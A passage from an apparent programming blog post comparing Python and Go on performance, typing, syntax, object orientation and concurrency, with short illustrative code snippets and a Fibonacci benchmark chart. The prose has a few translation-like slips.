there.&lt;/p&gt;&#xA;&lt;p&gt;Both languages are characterized by fast code production.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;compilation of go is extremely fast&lt;/strong&gt; and, although it might be slightly slower to run than if you were using C++ or the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/rust/what-makes-rust-so-difficult-to-learn/&#34;&gt;hard to learn Rust language&lt;/a&gt;&#xA;, product development and MVPs should take less time than with those languages.&lt;/p&gt;&#xA;&lt;h2 id=&#34;golang-vs-python-performance&#34;&gt;Golang vs python performance&lt;/h2&gt;&#xA;&lt;p&gt;The comparison here is going to become somewhat unfair, but I&amp;rsquo;ll make it anyway: &lt;strong&gt;Go is blazingly fast compared to Python&lt;/strong&gt;. Python&amp;rsquo;s performance is nothing compared to Go. The above difference is explained by the fact that Go is compiled, while Python is interpreted.&lt;/p&gt;&#xA;&lt;h3 id=&#34;python-vs-golang-performance-in-fibonacci-by-recursion&#34;&gt;Python vs Golang performance in fibonacci by recursion&lt;/h3&gt;&#xA;&lt;p&gt;How fast is go compared to python? I made a small test using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tratt.net/laurie/src/multitime/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;multitime&lt;/a&gt;&#xA; to measure how long it takes to calculate the n fibonacci number for each language, 10 repetitions for each test, results are in seconds (smaller is better), note the radical difference in performance of both languages.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/fibo-go-vs-python-velocidad.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/fibo-go-vs-python-velocidad.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;python vs go speed comparison using fibonacci by recursion&#34; width=&#34;899&#34; height=&#34;556&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;The lower the better. Go, being a compiled language is way faster than Python.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;my-opinion-on-the-hatred-of-go&#34;&gt;My opinion on the hatred of go&lt;/h2&gt;&#xA;&lt;p&gt;Go is a &lt;strong&gt;quite controversial language that triggers quite heated discussions&lt;/strong&gt;. I leave you some examples below of how varied opinions are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://xetera.dev/thoughts-on-go/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Thoughts on go&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://yager.io/programming/go.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Why go is not good?&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Complaints range from the simplicity of the language, to Robert Pike&amp;rsquo;s claim that it is a language for &amp;ldquo;not so bright&amp;rdquo; programmers, to the (now fixed) lack of generics.&lt;/p&gt;&#xA;&lt;p&gt;My opinion? I think it&amp;rsquo;s certainly not the best designed language (I prefer Rust). So why use it? Google created the language based on a number of quite concrete problems; Go is the solution to these problems.&lt;/p&gt;&#xA;&lt;p&gt;Go is good for a couple of things that programmers tend to overlook, the&#xA;business part:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Iteration. Its fast compilation speed and ease of typing allow you to iterate faster than with other languages, which translates into more money and less long-term business risk.&lt;/li&gt;&#xA;&lt;li&gt;Easy to learn. No, as much as we would all like to, your company is not going to fire the entire department to hire Rust or C++ programmers, it is easier to train programmers in Rust or C++.&lt;/li&gt;&#xA;&lt;li&gt;Standard packages and library. Your company probably doesn&amp;rsquo;t have the time&#xA;and resources for you to create code from scratch. Go has a fairly mature standard&#xA;standard library that provides out of the box solutions for most needs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Of course, this is not necessarily a good thing from the point of view of a&#xA;technical profile, but you know first-hand that money often has a strong influence on business decisions.&lt;/p&gt;&#xA;&lt;h2 id=&#34;maturity-in-both-languages&#34;&gt;Maturity in both languages&lt;/h2&gt;&#xA;&lt;p&gt;Python was created by Guido Van Rossum in the late 1980s. Go, on the other hand, is a much younger language than Python, released twenty years later, in 2009, and initially designed by Robert Griesemer, Rob Pike and Ken Thompson.&lt;/p&gt;&#xA;&lt;h2 id=&#34;types-in-python-and-go&#34;&gt;Types in Python and Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;typed-in-go&#34;&gt;Typed in Go&lt;/h3&gt;&#xA;&lt;p&gt;Go is a &lt;strong&gt;compiled language with strong typing&lt;/strong&gt;, which requires that specify the data type when creating a variable. However, Go also has a way to let the compiler also has a way to let the compiler guess the type of the variable, under certain conditions, automatically.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// go default variable declaration and assignation&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; explicitType &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Only inside a function scope&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;implicitTypeInsideAFunction &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// everything is good up to here, but the next line will throw an error&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;explicitType = &lt;span style=&#34;color:#ff9f43&#34;&gt;1.5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Error: constant 1.5 truncated to integer&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;typing-in-python&#34;&gt;Typing in Python&lt;/h3&gt;&#xA;&lt;p&gt;Python is a strongly typed &lt;strong&gt;interpreted language&lt;/strong&gt;; it does not require us to specify the variable type. We can change the type of a variable without any problem at any time. It implements optional typing as of version 3.5 but they are not forced by the interpreter.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# no error &amp;#39;til here&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;number &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# TypeError: can only concatenate str (not &amp;#34;int&amp;#34;) to str&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;differences-in-syntax-python-vs-go&#34;&gt;Differences in Syntax Python vs Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;syntax-in-go&#34;&gt;Syntax in go&lt;/h3&gt;&#xA;&lt;p&gt;Go bases its syntax heavily on C and takes some features from languages such as Python to favor the readability of its code. It stands out in that it &lt;strong&gt;does not has neither while nor do while&lt;/strong&gt; loops. And, unlike Python, it does use braces.&lt;/p&gt;&#xA;&lt;p&gt;The entry point of an application is its &lt;em&gt;main&lt;/em&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;An interesting feature with respect to syntax is that the compiler does not will not run if it detects unused variables or errors in the braces of each function. So the go compiler forces you to write code following a set of conventions or best practices. a set of conventions or best practices.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; explicitType &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;123&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;sum&lt;/span&gt;(a, b &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) (&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; a, b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;loop&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; array [&lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    array[i] = i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;infiniteLoop&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// main is the starting point of a program&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    implicitType &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;23&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Since we have unused variables this code WON&amp;#39;T compile&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello world&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Another important thing, some developers say that go is oriented to object oriented, while others flatly state that it is not. The truth is that go does not direct support for classes, but instead uses &lt;strong&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-structs-inheritance-polymorphism-and-encapsulation/&#34;&gt;structs that emulate polymorphism and polymorphism and encapsulation&lt;/a&gt;&#xA;&lt;/strong&gt; and other OOP features.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Person &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Name &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Sex &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Every field from Person are inherited by Professor&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Professor &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Person&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// So we can call Professor.Greet()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; (p &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;Professor) &lt;span style=&#34;color:#57c7ff&#34;&gt;Greet&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;python-syntax&#34;&gt;Python syntax&lt;/h3&gt;&#xA;&lt;p&gt;Python&amp;rsquo;s syntax is super clean, focused on code readability; it doesn&amp;rsquo;t use braces to separate code, but line no braces to separate the code, but line breaks and mandatory identations. And, unlike the Go compiler, the Python interpreter is not so strict.&lt;/p&gt;&#xA;&lt;p&gt;Python &lt;strong&gt;is strongly object oriented&lt;/strong&gt; and you are going to have all of the capabilities of an object-oriented language, except for the private, public and protected scopes characteristic of Java, C++ and other languages.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;result&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;You can also add a semicolon at the end, but it&amp;#39;s not strong convention&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;MiClase&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;property&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;property &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;property&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;funcion&lt;/span&gt;(defaultArgument &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    my_arguments_list &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; args&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    my_key_value_arguments &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; kwargs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; my_arguments_list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  do_something()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;except&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;An exception occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;asynchronism-capability-python-vs-go&#34;&gt;Asynchronism capability, Python vs Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;asynchronism-in-go&#34;&gt;Asynchronism in go&lt;/h3&gt;&#xA;&lt;p&gt;One of the strong points of this language is the creation of concurrency by means of its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/&#34;&gt;&lt;em&gt;goroutines&lt;/em&gt;, or goroutines and channels&lt;/a&gt;&#xA;. Using them is quite simple, just add the word go before a function. We add a counter with &lt;em&gt;Add&lt;/em&gt; and remove it with Done. When our wait group, &lt;em&gt;wg&lt;/em&gt;, has zero counters, it will terminate execution.&lt;/p&gt;&#xA;&lt;p&gt;Its concurrency capabilities make it ideal for web servers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;asynchronism-in-python&#34;&gt;Asynchronism in Python&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; 